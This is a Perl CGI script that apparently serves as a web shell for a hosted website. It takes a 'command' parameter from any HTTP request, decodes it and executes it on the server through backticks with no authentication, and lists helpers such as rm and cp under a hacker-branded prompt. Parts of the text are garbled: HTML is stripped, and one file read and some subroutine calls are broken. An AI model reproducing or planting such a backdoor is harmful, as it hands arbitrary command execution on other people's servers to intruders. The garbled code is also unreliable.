#!/usr/local/bin/perl use POSIX; &parse_form; $action = $input{'action'}; $command = $input{'command'}; $CWD = $input{'cwd'}; if ($action eq "") { &start; } if ($action ne "") { &run_command; } sub start { ⊤ open(MSG,"cat /data1/hypermart.net/webtvgames/index.html |"); @lines = ; close(MSG); $whereami = POSIX::getcwd(); $PROMPT = "Pro-Got-Skillz\@Unix.TellyScript.net"; print "
\n"; for $x(0 .. $#lines) { print "$lines[$x]\n"; } 
print "$PROMPT\n\n
\n"; ⊥ } sub top { print "Content-type: text/html\n\n"; print "\n"; } sub bottom { print "
"; print ""; print ""; print "
"; print ""; print "
"; print ""; print ""; print "
"; print "
"; print "

"; print "
"; print ""; print "
"; print "lsOpen the Directory"; print "
"; print "cat"; print "Advance Open Directory"; print "
"; print "rm"; print "ReName"; print "
"; print "cp"; print "Copy the file"; print "
"; print "more"; print "View or Show Txt"; print "
"; print "pwd"; print "Main Directory"; print "
"; print "wc"; print "count Line Script"; print "
"; print "
"; } sub run_command { ⊤ chdir ($CWD); if ( $command =~ 'cd') { @ls = split / /, $command; $dir = $ls[1]; $dir =~ s/\n//g; $dir =~ s/\cM//g; chdir ($dir); } $whereami = POSIX::getcwd(); $PROMPT = "Pro-Got-Skillz\@Unix.TellyScript.net"; $_=$command; s/(.)*=//; s/\+/ /g; s/%(..)/pack("c",hex($1))/ge; $out=`$_ 2>&1`; print "
$PROMPT \n > $command \n\n $out \n\n $PROMPT
"; ⊥ exit 0; } sub parse_form{ read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'}); if (length($buffer) < 5) { $buffer = $ENV{QUERY_STRING}; } @pairs=split(/&/,$buffer); foreach $pair(@pairs) { ($name, $value)=split(/=/,$pair); $value =~ tr/+/ /; $value =~ s/%([a-fA-F0-9][A-F0-9])/pack("C",hex($1))/eg; if($input{$name} eq "") { $input{$name} = $value; push (@Fields,$name); } else { $input{$name} = $input{$name}." ".$value; } } }